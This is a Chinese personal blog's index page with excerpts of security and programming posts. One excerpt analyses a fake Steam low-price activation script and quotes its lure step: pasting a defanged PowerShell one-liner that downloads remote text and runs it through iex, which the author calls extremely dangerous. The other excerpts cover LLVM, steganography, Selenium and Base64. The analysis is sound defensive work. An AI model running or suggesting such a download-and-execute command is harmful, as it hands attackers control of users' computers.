avatar
文章
6
标签
20
分类
5
home
categories
tags
archives
0neqiu's Blog
搜索
home
categories
tags
archives

0neqiu's Blog

[GWCTF 2019]babyvm -- 记一次vm题
发表于2025-12-02
fakesteamcdk
发表于2025-11-11
前言 最近发现了一篇关于 Steam 低价激活脚本分析的文章。早就在 xhh 上听说这种脚本了,很感兴趣,便借着文章浅浅的探究一下。 核心就两个步骤: 步骤一:按住键盘win + X,找到powershell(终端管理员) 步骤二:输入irm 2[.]steam[.]work|iex(已去功能化) 提一下irm和iex: irm 是一个用来从互联网下载内容的命令。 详细一点讲: irm 其实是 PowerShell 里的一个别名。 它的完整命令是 Invoke-RestMethod。 它的主要工作是向一个网址(URL)发送请求,并获取服务器返回的数据。 iex 是一个用来把纯文本(字符串)当作 PowerShell 命令来立即执行的命令。 iex 也是一个别名。 它的全称是 Invoke-Expression(调用表达式) 它的工作极其简单粗暴:你给它一段纯文本(字符串),它会把这段文本当作 PowerShell 命令来立即执行。 这条指令就是下载 2.steam.work 网址上的所有文本,然后直接通过管道符(|)直接作为输入,给iex执行,这是及其危险的。 ...
LLVM学习笔记(In Progress)
发表于2025-09-22
LLVM学习笔记什么是LLVMLLVM 是一个高度模块化、可重用的编译器基础框架。它通过统一的中间表示(IR)连接了编程语言和目标硬件,让创造新语言、支持新硬件变得更简单,同时提供了一流的代码优化能力。LLVM主要聚焦于编译器后端功能,如代码生成、代码优化、代码混淆、JIT等。 LLVM的架构 LLVM大致架构与传统编译器相同,都由前端、优化器、后端组成。 但传统编译器的前端、优化器、后端是高度耦合的,对于不同的编程语言,往往需要不同的前端、优化器、后端来得到特定平台的机器码。 举个例子: 如果要支持 M 门语言和 N 个硬件平台,就需要开发近乎 M x N 个不同的编译器或进行大量的重复性适配工作,维护成本和开发难度极高。每新增一个支持,就需要M或N个编译器,或者大量的适配工作。 而LLVM则是将不同,因其引入了统一的中间表示,它更加“松散”。 同样的例子,LLVM新增支持可能仅需关心一对一,即如何到IR或者IR到新硬件平台的机器码。 工作流程表示: 源代码 (C++, Swift, Rust 等) | v[ 前端:Clang / rustc 等 ]...
隐写术-文件合并
发表于2025-06-24|技术分享CTF
隐写术-文件合并前言:一个神奇的现象你是否曾在网上下载过一张看似普通的图片,却被告知“把后缀名改成.zip试试”?或者,你是否在CTF比赛中遇到过一张无法正常打开,却暗藏玄机的图片? 今天,我们就来揭开这个神奇现象背后的秘密——“图种”(Picture-Seed)。我们将从原理到实践,一步步带你了解为什么一张图片里,竟然可以藏着一个完整的压缩包。 画师/Artist: AmaiA作品原址/Source: Pixiv 什么是“图种”?“图种”,顾名思义,就是“图片种子”。这是一种将一个或多个文件(通常是压缩包)隐藏在一张图片文件中的技术。 从技术上讲,这是一种非常基础但有效的数据隐藏或文件合并技巧。 动手实践:制作一个自己的“图种”在深入原理之前,让我们先亲手制作一个。 准备材料: 一张图片,我们称之为 image.jpg。 一个压缩包,我们称之为 archive.zip。(把任何你想隐藏的文件压缩一下即可) 操作步骤 (以Windows为例): 将 image.jpg 和 archive.zip 放在同一个文件夹下。 在该文件夹的地址栏输入 cmd 并回车,打开命令行窗口。...
Selenium 基础入门教程(Python版)
发表于2025-06-12|技术教程Web自动化
Selenium 基础入门教程(Python版)目录 简介 环境准备 第一个 Selenium 脚本 常见元素定位方式 常见网页操作 等待机制 实战任务示例 常见问题排查 简介Selenium 是一个用于自动化浏览器操作的工具,常用于: 自动化测试 爬虫抓取网页数据 自动化任务(如刷网页、填表单等) 环境准备安装 Selenium1pip install selenium 下载 ChromeDriver 查浏览器版本:在 Chrome 地址栏输入 chrome://version/ 下载对应版本驱动:https://googlechromelabs.github.io/chrome-for-testing/ 解压后将 chromedriver.exe: 放入脚本目录,或 添加到系统环境变量 Path 第一个 Selenium 脚本12345678910111213141516171819202122from selenium import webdriverfrom selenium.webdriver.common.by import Byimport tim...
Base64浅析
发表于2025-05-09|Coding Principle
Base64浅析目录 Base64是什么 为什么要使用Base64(应用场景) Base64的编码原理 关于填充字符”=” Base64 Data URI格式 总结 Base64是什么Base64 是一种基于64个可打印字符来表示二进制数据的编码方法。它将每6个比特(bit)作为一个单元,对应码表中的一个可打印字符。根据这个规则,3个字节(24比特)的数据恰好可以由4个Base64字符来表示。 需要特别注意的是,Base64是一种编码(Encoding)方式,而不是加密(Encryption)算法,因此不具备任何保密性。 注:一个标准的ASCII字符由1个字节(8比特)表示。 为什么要使用Base64(应用场景)你可能会问,既然会增大体积,为什么还需要Base64呢? 这是因为在网络传输中,有些协议或环境只支持传输文本字符(如ASCII字符)。当需要传输图片、音频等二进制数据时,直接传输可能会导致数据损坏或解析错误。将二进制数据编码为纯文本的Base64格式,可以确保数据在任何文本环境中都能被安全、正确地传输。 常见应用场景包括: Data URI:在HTML或CSS...
avatar
0neqiu
一叶落而知天下秋
文章
6
标签
20
分类
5
公告
欢迎来到我的blog!
这是我的 GitHub。
最新文章
[GWCTF 2019]babyvm -- 记一次vm题2025-12-02
fakesteamcdk2025-11-11
LLVM学习笔记(In Progress)2025-09-22
隐写术-文件合并2025-06-24
Selenium 基础入门教程(Python版)2025-06-12
分类
  • Coding Principle1
  • 技术分享1
    • CTF1
  • 技术教程1
    • Web自动化1
标签
Selenium CTF入门 Coding Principle 文件合并 自动化测试 WinRAR Python 入门教程 WebDriver Web自动化 pc样本分析 隐写 Steganography JPG re Misc vm 二进制 powershell 网络爬虫
归档
  • 十二月 2025 1
  • 十一月 2025 1
  • 九月 2025 1
  • 六月 2025 2
  • 五月 2025 1
网站信息
文章数目 :
6
本站访客数 :
本站总浏览量 :
最后更新时间 :
© 2025 By 0neqiu框架 Hexo 7.3.0|主题 Butterfly 5.5.2
搜索
数据加载中